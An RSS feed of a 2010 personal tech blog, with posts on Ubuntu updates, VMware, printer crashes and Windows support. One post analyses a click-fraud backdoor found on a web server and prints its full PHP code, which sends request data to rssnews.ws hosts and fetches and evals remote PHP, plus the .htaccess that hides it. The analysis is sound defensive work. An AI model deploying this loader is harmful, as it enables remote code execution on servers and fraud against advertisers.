<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>aaron-kelley.net</title>
	<atom:link href="http://aaron-kelley.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://aaron-kelley.net</link>
	<description>My little corner of the Internet</description>
	<lastBuildDate>Wed, 01 Sep 2010 23:57:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Automatic Security Updates Not Happening in Ubuntu Server (10.04)</title>
		<link>http://aaron-kelley.net/blog/2010/09/automatic-security-updates-not-happening-in-ubuntu-server-10-04/</link>
		<comments>http://aaron-kelley.net/blog/2010/09/automatic-security-updates-not-happening-in-ubuntu-server-10-04/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 20:35:08 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu Server]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=856</guid>
		<description><![CDATA[I&#8217;ve actually run into two separate causes of this problem during my time running Ubuntu Server machines. And while I am discussing Ubuntu Server in this post, I see no reason why this same problem couldn&#8217;t affect the desktop version of Ubuntu, or maybe other Ubuntu variants (Kubuntu, Xubuntu, etc.). The problem: You&#8217;ve enabled automatic [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve actually run into two separate causes of this problem during my time running Ubuntu Server machines.  And while I am discussing Ubuntu Server in this post, I see no reason why this same problem couldn&#8217;t affect the desktop version of Ubuntu, or maybe other Ubuntu variants (Kubuntu, Xubuntu, etc.).</p>
<p>The problem:  You&#8217;ve enabled automatic security update installation, and yet, security updates are not being automatically installed.</p>
<p><strong>First possible solution:</strong> This one is easy.  Check the file <tt>/etc/cron.daily/apt</tt> and make sure that it is marked executable.  Permissions on this file should look like <tt>rwxr-xr-x</tt> (755).  This file somehow lost its executability when I upgraded from one Ubuntu release to the next, which broke the daily update check and thus no automatic security update installation.</p>
<p>In the more recent occurrence of this problem for me, the daily update check was obviously happening.  I would connect to the server via SSH and see something like&#8230;</p>
<blockquote><p><tt>Welcome to the Ubuntu Server!<br />
* Documentation:  http://www.ubuntu.com/server/doc</tt></p>
<p><tt>5 packages can be updated.<br />
5 updates are security updates.</tt></p></blockquote>
<p>So, the daily update check was happening, but the automatic update installation was not.  What could cause this?</p>
<p>Well, it turns out that the script that does the update installation will only proceed to that point if the <em>check</em> for updates was successful (no errors at all). This leads us to&#8230;</p>
<p><strong>Second possible solution:</strong> Run a <tt>sudo aptitude update</tt> or <tt>sudo apt-get update</tt> and see if there are any errors.  If there are, address them, and hopefully that will resolve the problem.  In my case, I had a third-party repository that had become inaccessible, so although the main Ubuntu repositories were updating fine, this error still prevented automatic security update installation.</p>
<p>If you want to know how to set up automatic security updates, there are (at least) three possible ways:</p>
<ul>
<li>When first installing the system, you will be given the option to enable automatic security updates.</li>
<li>Follow the directions on <a href="https://help.ubuntu.com/community/AutomaticSecurityUpdates" target="_blank">this page</a> in the Ubuntu Wiki.  I recommend the apt.conf.d method (which is what will be set up for you using either of the other options presented here), but, the cron method may help you get around other similar issues that prevent automatic updates from working.</li>
<li>You can set it up using the GUI method like you would with a desktop version of Ubuntu.  First, install Synaptic (<tt>sudo aptitude install synaptic</tt>).  Then, make sure that you are connected to your server via SSH with X11 forwarding (by adding the <tt>-Y</tt> parameter to <tt>ssh</tt> when you connect).  Then, run Synaptic on the server as root (just type &#8220;<tt>sudo synaptic</tt>&#8221; at the terminal) and the Synaptic window should appear on your desktop.  Then, select &#8220;Settings -&gt; Repositories&#8221; from the menu, click on the &#8220;Updates&#8221; tab, and configure automatic updates as you see fit.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/09/automatic-security-updates-not-happening-in-ubuntu-server-10-04/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Use VMware Infrastructure Client to manage VMware Server 2.0.x</title>
		<link>http://aaron-kelley.net/blog/2010/08/use-vmware-infrastructure-client-to-manage-vmware-server-2-x/</link>
		<comments>http://aaron-kelley.net/blog/2010/08/use-vmware-infrastructure-client-to-manage-vmware-server-2-x/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 19:22:55 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[VMware Server]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=846</guid>
		<description><![CDATA[VMware Server is a cool free product that you can install on an existing Windows or Linux system and run virtual machines in the background. While it&#8217;s built on VMware&#8217;s awesome virtualization technology, there are a few issues that make the current version of VMware Server (2.0.2) a little annoying to use. Out-of-the-box, it can [...]]]></description>
			<content:encoded><![CDATA[<p>VMware Server is a cool free product that you can install on an existing Windows or Linux system and run virtual machines in the background.  While it&#8217;s built on VMware&#8217;s awesome virtualization technology, there are a few issues that make the current version of VMware Server (2.0.2) a little annoying to use.</p>
<p>Out-of-the-box, it can only be managed through the web interface.  The web interface itself is not too bad, but if you aren&#8217;t accessing it from the same machine that it&#8217;s running on, it forces you to use HTTPS.  This is great, of course, except something is wonky with the https implementation that is used (it appears to only support SSL version 2, for which support is disabled by default or outright removed from the current version of every major browser?).  So, blah.  I can&#8217;t manage my VMs remotely, which is one of the reasons why I&#8217;d like to use VMware Server in the first place.</p>
<p>Now, there are ways around this.  You could set up an SSH tunnel or some similar network trick so that you could access the web interface without being kicked over to HTTPS.  Or you could use Remote Desktop or a remote X application to access it using a web browser on the same machine as the server.  These work for getting to the configuration pages, but I still had trouble trying to access the remote console (which relies on a browser plugin that seems a bit flaky).</p>
<p>There are lots of people complaining about both of these issues (flaky HTTPS and flaky remote console).  Now, wouldn&#8217;t it be cool if there was a downloadable client that could manage said VMs without having to use the web browser?<span id="more-846"></span>After all, there was a client for VMware Server 1.x, and while it is separately downloadable, it doesn&#8217;t work with VMware Server 2.</p>
<p>Some searching reveals a lot of people talking about this back during the VMware Server 2 beta period, where you could actually download a client to use <em>from the VMware Server web interface itself</em> (granted, it wasn&#8217;t exposed, you had to know what URL to type in).  But, I found that it has been removed from the current version.</p>
<p>So, I set out looking for a client that will work.  There is a separately downloadable client for VMware vSphere (the current version of which is 4.1), but it doesn&#8217;t work either.  I was able to get it talking to my vMware Server installation, but it wanted to download some support files and gave a generic non-useful error message when I told it to go ahead.</p>
<p>Maybe you found this page because you are searching for a client that will work with VMware Server 2.  Here&#8217;s the answer.</p>
<p>I discovered that there is a copy of VMware Infrastructure Client hidden in the download of VMware Server 2.  The catch is you have to download VMware Server 2.0.0 (<em>not</em> 2.0.1 or 2.0.2).  It&#8217;s still available on the VMware Server download page.  I downloaded the 32-bit Linux version (.tar.gz), unzipped it, and found it at <tt>vmware-server-distrib\lib\hostd\docroot\client\VMware-viclient.exe</tt>.  This installs VMware Infrastructure Client 2.5.0.103672, and it looks like it is the copy of the client intended to be included with VMware VirtualCenter (now VMware vCenter).</p>
<p><strong>Update, August 25, 2010:</strong> Alternatively, you may download the client from <a href="/downloads/vmware-viclient/">here</a>.</p>
<p>There&#8217;s also a trick to getting it to connect.  When you launch the client, it will ask you for the server address, name, and password.  For the address, you must enter something like &#8220;<tt>https://<span style="color: #0000ff;">[server]</span>:8333</tt>&#8221; (just &#8220;<tt><span style="color: #0000ff;">[server]</span></tt>&#8221; won&#8217;t work).  Then, the username and password are the same that you would use to log in to the web interface.</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-848" title="vmware" src="http://aaron-kelley.net/wp-content/uploads/2010/08/vmware.png" alt="" width="462" height="398" /></p>
<p>I also got an error the first few times I tried to connect, but I kept trying again without changing anything and it worked on the 3rd or 4th try.  Since then, it&#8217;s been great.  And while the client can&#8217;t manage the settings on the VMs (only if the VM&#8217;s hardware version is too new — will still have to use the web interface for that), the remote console works fine.</p>
<p style="text-align: center;"><img class="alignnone size-large wp-image-850" title="vmware2" src="http://aaron-kelley.net/wp-content/uploads/2010/08/vmware2-800x593.png" alt="" width="800" height="593" /></p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-852" title="vmware3" src="http://aaron-kelley.net/wp-content/uploads/2010/08/vmware3.png" alt="" width="507" height="514" /></p>
<p>Hopefully, the next major release of VMware Server will either include a separate client again, or address the issues with the web interface (or both!).</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/08/use-vmware-infrastructure-client-to-manage-vmware-server-2-x/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WSD printers crashing Print Spooler service in Windows 7</title>
		<link>http://aaron-kelley.net/blog/2010/08/wsd-printers-crashing-print-spooler-service-in-windows-7/</link>
		<comments>http://aaron-kelley.net/blog/2010/08/wsd-printers-crashing-print-spooler-service-in-windows-7/#comments</comments>
		<pubDate>Tue, 17 Aug 2010 20:48:21 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Printers]]></category>
		<category><![CDATA[Windows 7]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=837</guid>
		<description><![CDATA[For a while now, I&#8217;ve been noticing that my Windows printer list would come up empty in the control panel, or when I tried to print something, I&#8217;d get an error that indicates that the Print Spooler service is not running.  Going and manually starting the Print Spooler service fixes the problem, but that&#8217;s silly, [...]]]></description>
			<content:encoded><![CDATA[<p>For a while now, I&#8217;ve been noticing that my Windows printer list would come up empty in the control panel, or when I tried to print something, I&#8217;d get an error that indicates that the Print Spooler service is not running.  Going and manually starting the Print Spooler service fixes the problem, but that&#8217;s silly, why should I have to do it?  Why is the Print Spooler service stopping at all?</p>
<p><span id="more-837"></span>Well, the cheesiest way to fix this problem is to set the Print Spooler service to automatically after failure.  Visit the Print Spooler service properties in the Services module in the MMC and click on the &#8220;Recovery&#8221; tab.  I found the default settings to be &#8220;Restart the Service&#8221; for first and second failures, but not for subsequent failures.  Set all three of the options to &#8220;Restart the Service.&#8221;</p>
<p style="text-align: center;"><img class="size-full wp-image-838  aligncenter" title="spooler" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler.png" alt="" width="450" height="505" /></p>
<p>Alright&#8230; problem solved.</p>
<p>Except the Print Spooler service is still crashing, as I can see in the reliability monitor:</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-839" title="spooler2" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler2.png" alt="" width="800" height="782" /></p>
<p>What&#8217;s this?  Some of these crashes are 10 minutes apart or less?  Even though the Print Spooler restart every time it crashes, I&#8217;d like to get rid of the crashes altogether.</p>
<p>Looking at the system event logs, I found error messages that correspond to the service crash times that look like this:</p>
<blockquote><p>Faulting application name: spoolsv.exe, version: 6.1.7600.16385, time stamp: 0x4a5bd3d1<br />
Faulting module name: wsdapi.dll, version: 6.1.7600.16385, time stamp: 0x4a5be0a1<br />
Exception code: 0xc0000005<br />
Fault offset: 0x000000000000769a<br />
Faulting process id: 0&#215;1340<br />
Faulting application start time: 0x01cb3e447c97686a<br />
Faulting application path: C:\Windows\System32\spoolsv.exe<br />
Faulting module path: C:\Windows\System32\wsdapi.dll<br />
Report Id: d1e7f7eb-aa38-11df-b6ff-caee131491bf</p></blockquote>
<p>Ah ha!  wsdapi.dll is blamed for crashing the Print Spooler service.  Some research indicates that this DLL is used to talk to printers configured to print via <a href="http://en.wikipedia.org/wiki/Web_Services_for_Devices" target="_blank">WSD</a>, or Web Services for Devices.</p>
<p>Turns out that we have a couple of printers at the office where I work that support WSD, and Windows 7 had automatically chosen WSD when I set them up using the printer setup wizard.  By the way, you can check to see if you have any printers set up to use WSD by opening Print Management (find it using the Start Menu search), and then clicking on Print Servers -&gt; (your computer) -&gt; Ports.  Any WSD ports will have a name starting with &#8220;WSD.&#8221;</p>
<p>Now, I don&#8217;t know if this crash is because of Microsoft&#8217;s WSD support, or flaky printer drivers, or a flaky WSD implementation on the printer itself, or what.  All of the print drivers I am using are either the ones bundled with Windows 7 or ones provided automatically by Windows Update, though.  Anyway, I decided to delete the WSD printers and set them up again using plain old TCP/IP printing without WSD, to see if that cured the problem.  Sure enough, it did.  Here&#8217;s how it goes.</p>
<p>In the printer setup wizard, after telling it you want to search for a network printer, make sure you choose the option that says your printer was not listed (even if it was).</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-840" title="spooler3" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler3.png" alt="" width="660" height="492" /></p>
<p>Then say you want to add a printer by its IP address.</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-841" title="spooler4" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler4.png" alt="" width="660" height="492" /></p>
<p>Then set the device type to &#8220;TCP/IP Device&#8221; instead of &#8220;Autodetect&#8221; or &#8220;WSD&#8221;&#8230;</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-842" title="spooler5" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler5.png" alt="" width="660" height="492" /></p>
<p>And then, type in the IP address.</p>
<p style="text-align: center;"><img class="alignnone size-full wp-image-843" title="spooler6" src="http://aaron-kelley.net/wp-content/uploads/2010/08/spooler6.png" alt="" width="660" height="492" /></p>
<p>Then complete the printer setup as normal and repeat for any other WSD printers that you have.  If you got them all, no more crashes due to WSD!</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/08/wsd-printers-crashing-print-spooler-service-in-windows-7/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Click fraud script taking over your web site?</title>
		<link>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/</link>
		<comments>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 20:31:53 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=830</guid>
		<description><![CDATA[On one of the web servers I help run, we noticed some suspicious activity. After poking around, I found a pair of suspicious files in a directory that contains user-uploaded files. One was named .htaccess (typical Apache distributed configuration file), and one was named 203497.php.  Here&#8217;s my analysis of these mystery files. First, taking a [...]]]></description>
			<content:encoded><![CDATA[<p>On one of the web servers I help run, we noticed some suspicious activity.  After poking around, I found a pair of suspicious files in a directory that contains user-uploaded files.  One was named <tt>.htaccess</tt> (typical Apache distributed configuration file), and one was named <tt>203497.php</tt>.  Here&#8217;s my analysis of these mystery files.</p>
<p><span id="more-830"></span>First, taking a look at the <tt>.htaccess</tt> file, which is pretty straightforward.</p>
<blockquote><p><tt>Options -MultiViews<br />
ErrorDocument 404 //<span style="color: #0000ff;">[directory path]</span>/203497.php</tt></p></blockquote>
<p><tt></tt></p>
<p>This is obviously intended to direct 404 errors to the other file that was uploaded, <tt>203497.php</tt>.  This has the sneaky side-effect of hiding hits to the file from the Apache logs — in addition to looking for hits to <tt>203497.php</tt>, you have to look for any hits in the same directory that resulted in the 404.</p>
<p>Now for the interesting file, <tt>203497.php</tt>.  This file was condensed when I found it (no whitespace, and all of the code on one line).  I formatted it a little and added comments.  I&#8217;ve divided it into parts (indicated in the comments) that I will discuss. Here it is:</p>
<blockquote><p><tt>&lt;?<br />
// Disable error reporting.<br />
error_reporting(0);</tt></p>
<p><tt>// --1--<br />
// Gather a bunch of info about the current request...<br />
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);<br />
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);<br />
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);<br />
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);<br />
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);<br />
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);<br />
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);<br />
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);<br />
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);<br />
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);</tt></p>
<p><tt>// ...and glue it all together.<br />
$z="/?" . base64_encode($a) . " . " . base64_encode($b) . " . " . base64_encode($c) . " . " . base64_encode($d) . " . " . base64_encode($e) . " . " . base64_encode($f) . " . " . base64_encode($g) . " . " . base64_encode($h) . " . e . " . base64_encode($i) . " . " . base64_encode($j);</tt></p>
<p><tt>// --2--<br />
// Decodes to "rssnews.ws".<br />
$f=base64_decode("cnNzbmV3cy53cw==");</tt></p>
<p><tt>// If the "q" request parameter equals some super secret password...<br />
if (basename($c) == basename($i) &amp;&amp; isset($_REQUEST["q"]) &amp;&amp; md5($_REQUEST["q"]) == "11b97f7e132cd3175d7801f278ff73ae") {<br />
// ...override our "f" variable with whatever was sent.<br />
$f=$_REQUEST["id"];<br />
}</tt></p>
<p><tt>// --3--<br />
// Attempt to load a remote page and evaluate it as PHP.<br />
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); // http://ads....</tt></p>
<p><tt>// If that failed, attempt to load another one and evaluate it as PHP.<br />
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) { // http://7....<br />
eval($c);<br />
}<br />
// If that failed, attempt to load another one and evaluate it as PHP.<br />
else {<br />
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); // http://71....<br />
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);<br />
$o=curl_exec($cu);<br />
curl_close($cu);<br />
eval($o);<br />
}<br />
;<br />
die();<br />
?&gt;</tt></p></blockquote>
<p>Let&#8217;s take it apart.</p>
<p><em>Part 1</em></p>
<p>This appears to just gather some information about the current request — various pieces of the URL, referrer, user agent, IP address, and so forth.  It&#8217;s then glued together into one long base64-encoded string.</p>
<p><em>Part 2</em></p>
<p>Whoever wrote this likes to use literals encoded in base64 to (minimally) obfuscate what&#8217;s going on. Wherever there is base64-encoded stuff, I decoded it and left it in the comments.</p>
<p>The variable &#8220;<tt>$f</tt>&#8221; from here on out appears to be the domain name that is going to be used for a remote call in a moment.  It defaults to &#8220;<tt>rssnews.ws</tt>&#8220;, but can be overridden by an &#8220;<tt>id</tt>&#8221; parameter if a correct parameter &#8220;<tt>q</tt>&#8221; is given.  Who knows what the correct value is, because it is only compared against an MD5 hash here.</p>
<p><em>Part 3</em></p>
<p>Here are three different attempts to load a remote HTTP page.  One by the function <tt>include</tt>, one by <tt>file_get_contents</tt>, and one using cURL.  I think that whoever wrote this is hoping that if you&#8217;ve blocked out one of these methods via settings in <tt>php.ini</tt>, one of the other ones will still work.</p>
<p>The page that is loaded is prefixed by a different value each time &#8212; the first attempt is <tt>http://ads.rssnews.ws/</tt>, the second is <tt>http://7.rssnews.ws/</tt>, and the third is <tt>http://71.rssnews.ws/</tt> (of course, the &#8220;<tt>rssnews.ws</tt>&#8221; part can be overridden in part 2).  A GET parameter is given that is all of the information collected in part 1.</p>
<p>Now&#8230; what is done with the result?  It is executed as PHP code.  In the first case, the <tt>include</tt> function is used, which will take the contents of the remote page and plop it right into the script to be executed.  In the other two cases, the <tt>eval</tt> function is used to execute the contents of the remote page.  Again, different methods, possibly getting around block-outs in <tt>php.ini</tt>.</p>
<p>After that, the script is done.</p>
<p>How yucky to find something like this sitting on your web server!  This allows an attacker to <em>potentially</em> execute any arbitrary PHP code on your server.  And while PHP is primarily used for generating page content, it can do all sorts of things, like read the contents of files sitting around on your server (perhaps discovering sensitive information like your database password), delete files (depending on your file system permissions), send e-mail, and execute system commands.  So, basically, anything that the web server user is allowed to do.</p>
<p>This is a good reason to make sure the permissions on your web server are pretty tight.</p>
<p>Anyway, how did this stuff get on the server to begin with?  I said at the top that these files were found in a directory that contains user-uploaded files (supposedly, images).  It appears that a lack of checking the file as it came in was the reason that these files were able to make it up.  So, here&#8217;s a few lessons:</p>
<ul>
<li>If you are accepting file uploads with your web application, at the very least, check the file extension on file uploads (or force it to a certain value).  Do not allow user-uploaded files to end up on your server with extensions like <tt>.php</tt>, <tt>.htaccess</tt>, <tt>.pl</tt>, <tt>.sh</tt>, or stuff like that.  If you&#8217;re expecting images, restrict it to image extensions like <tt>.jpg</tt> and <tt>.png</tt>.  At least if a file containing malicious code makes it up, that code won&#8217;t be executed by your server.</li>
<li>If you can help it, don&#8217;t put user-uploaded files in a web-accessible directory.  Store them elsewhere on the file system and use another PHP script to allow access to them.  That way you have the opportunity to check to make sure that you&#8217;re serving what you think you&#8217;re serving.</li>
</ul>
<p>So, the damage?  Even though this script allows an attacker to execute arbitrary PHP and do mean things to your server, that doesn&#8217;t appear to be its intended use.  It actually does mean things to someone else.  Some Googling reveals many other people complaining about this script, with the only differences being the name of the PHP file (always a random number), the MD5 value in part 2, and in some cases the default URL in part 2.</p>
<p>Heading over to <tt>http://7.rssnews.ws/en/</tt> gives us an &#8220;earn money with your site&#8221; site.  I haven&#8217;t tried it, but apparently they give you some files to stick on your web server (probably the very two files I describe in this post).  A bunch of fake URLs that will result in 404 errors hitting said files will be seeded out to search engines.  Search engines will attempt to crawl the URLs.  The PHP script above will fire up and simulate an ad click somewhere.  Ta da!  Money.</p>
<p>Checking out the server logs, this seems consistent with the activity I&#8217;ve seen.  There were no hits to the <tt>203497.php</tt> file directly, but here is a small sampling of the hits that generated a 404 that executed the script:</p>
<p><tt>/<span style="color: #0000ff;">[directory path]</span>/allopass-key.html<br />
/<span style="color: #0000ff;">[directory path]</span>/curitel_usb_driver-x64.html<br />
/<span style="color: #0000ff;">[directory path]</span>/lords-of-the-realm-2-torrent.html<br />
/<span style="color: #0000ff;">[directory path]</span>/ninja-wagner-fotos.html<br />
/<span style="color: #0000ff;">[directory path]</span>/rationing-tutorials-photoshop.html<br />
/<span style="color: #0000ff;">[directory path]</span>/pro-bowl.html<br />
/<span style="color: #0000ff;">[directory path]</span>/massive-atack.html</tt></p>
<p>&#8230; and, all of these hits had user agents that look like search engine crawlers (mostly Yahoo! Slurp).</p>
<p>The fake ad click will appear to come from the web server&#8217;s IP address.  If this script is widely distributed, it&#8217;ll be tough for the advertisers (who are the real victims here) to detect and block this fraudulent activity.  Because the PHP code that actually does the &#8220;ad clicking&#8221; is loaded remotely (from the very site distributing the script), it can be updated if somehow the advertisers catch on and find a way to detect this activity.  If <tt>rssnews.ws</tt> ever gets shut down, they also have the option to override the default URL, so they could just set up on another domain.  (I found references to <tt>phpsearch.cn</tt> being the default domain, and you can see the same site running at <tt>http://7.phpsearch.cn/en/</tt>.)</p>
<p>And furthermore, apparently this script has been distributed en masse using security vulnerabilities in widely-used software like WordPress and Drupal.  Though the site I found it running on was running a home-grown CMS, so there are obviously people out there looking for exploits to distribute this on a small scale as well.</p>
<ul>
<li>Secure your server!  Make sure the file permissions are locked down.  Don&#8217;t even trust the user that the web server runs as.  You never know when something like this might show up on your system, allowing the execution of arbitrary code.</li>
<li>Keep your software up to date!  Vulnerabilities in software from the bottom (Linux and system libraries) to the middle (Apache, PHP, MySQL) to the top (web applications like WordPress) can potentially allow for this sort of thing to sneak in.  Most large open-source operations take security very seriously and get patches out quick if a vulnerability is found (and especially if people are exploiting it), but many times it still requires some effort on your part to get the new software where it needs to be.  If you write your own code, think about ways to break in.</li>
<li>Check things over from time to time and make sure there&#8217;s no suspicious files or traffic.</li>
</ul>
<p>That&#8217;s all for now.  Hope this helps someone!</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bye-bye, Windows 2000!</title>
		<link>http://aaron-kelley.net/blog/2010/07/bye-bye-windows-2000/</link>
		<comments>http://aaron-kelley.net/blog/2010/07/bye-bye-windows-2000/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:56:27 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Windows Vista]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=806</guid>
		<description><![CDATA[Today, support for Windows 2000 from Microsoft ends. Windows 2000 was released over ten years ago, on February 17, 2000. Although it may have had a shaky start as far as application compatibility goes, it is renowned as one of the most stable operating systems ever to come out of Microsoft, and it paved the [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-695" title="Windows 2000" src="http://aaron-kelley.net/wp-content/uploads/2010/07/win2000.png" alt="" width="250" height="60" /></p>
<p>Today, support for <a href="http://en.wikipedia.org/wiki/Windows_2000" target="_blank">Windows 2000</a> from Microsoft ends.  Windows 2000 was released over ten years ago, on February 17, 2000.  Although it may have had a shaky start as far as application compatibility goes, it is renowned as one of the most stable operating systems ever to come out of Microsoft, and it paved the way for Microsoft to merge the &#8220;home&#8221; (9x) and &#8220;business&#8221; (NT) lines of Windows with Windows XP, the following year.</p>
<p><span id="more-806"></span>Windows 2000 received its last service pack, Service Pack 4, on June 26, 2003.  It has been in &#8220;extended support&#8221; since June 30, 2005, and since then it has only been receiving security updates from Microsoft.  Now, all support for Windows 2000 is dropped, and security updates will no longer be issued.</p>
<p>Another Windows release passes on to the pile of Windows versions past.  But this was a great one, so I wanted to post a small tribute to it.  <img src='http://aaron-kelley.net/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>If you were wondering, Windows ME was released <em>after</em> Windows 2000, on September 14, 2000.  However, Microsoft dumped support for this operating system, the last of the &#8220;9x&#8221; line, back in 2006.  The next operating system, Windows XP, is already in &#8220;extended support,&#8221; but will continue to receive security updates until April 8, 2014.  By this time, Windows Vista will be in extended support (which happens in April, 2012).  Only Vista Business and Vista Enterprise will be supported during the &#8220;extended support&#8221; phase, which will last until 2017, so support for the other editions (including Ultimate!) will end completely, before XP&#8217;s support runs out.  <img src='http://aaron-kelley.net/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/07/bye-bye-windows-2000/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can&#8217;t activate Windows XP after a repair install or in-place upgrade</title>
		<link>http://aaron-kelley.net/blog/2010/03/cant-activate-windows-xp-after-a-repair-install-or-in-place-upgrade/</link>
		<comments>http://aaron-kelley.net/blog/2010/03/cant-activate-windows-xp-after-a-repair-install-or-in-place-upgrade/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 16:50:40 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows XP]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=791</guid>
		<description><![CDATA[Windows XP is a picky beast.  If you want to move it from one system to another, chances are that you&#8217;ll just get a BSOD upon boot.  To get around this, you can do a repair install or &#8220;in-place upgrade&#8221; to convince it to take stock of all of the new hardware and then it [...]]]></description>
			<content:encoded><![CDATA[<p>Windows XP is a picky beast.  If you want to move it from one system to another, chances are that you&#8217;ll just get a BSOD upon boot.  To get around this, you can do a repair install or &#8220;in-place upgrade&#8221; to convince it to take stock of all of the new hardware and then it will probably boot up fine.  Of course, there&#8217;s other reasons to run a repair install, it might be able to save a system that isn&#8217;t working because of a strange configuration problem or a malware attack.</p>
<p>Anyway, here&#8217;s something that I&#8217;ve run into a few times now:  After running a repair install using a Windows XP SP3 disc, after booting up and logging in, you&#8217;re given the message along the lines of: &#8220;You must activate Windows before you can log on.  Would you like to activate Windows now?&#8221;  If you select &#8220;Yes,&#8221; which is supposed to bring up the activation prompt, nothing happens.  You get to stare at your desktop wallpaper until you decide to restart your computer manually.  If you select &#8220;No,&#8221; you are immediately logged out.  What to do?</p>
<p><span id="more-791"></span>Anyway, I discovered an easy solution to this problem today:  Just boot the machine in safe mode and install Internet Explorer 8.  (You&#8217;ll need to download it from <a href="http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx" target="_blank">Microsoft&#8217;s web site</a> and put it on a flash drive or something to move to the troubled machine.)  After IE8 is installed, reboot again in normal mode and you should be able to activate.  Note that you still may have to wait a minute or so for the activation window to appear after you click &#8220;Yes.&#8221;</p>
<p>This condition may be dependent on having IE8 (or 7?) installed before you attempt the repair install, and it somehow gets messed up during the install.</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/03/cant-activate-windows-xp-after-a-repair-install-or-in-place-upgrade/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
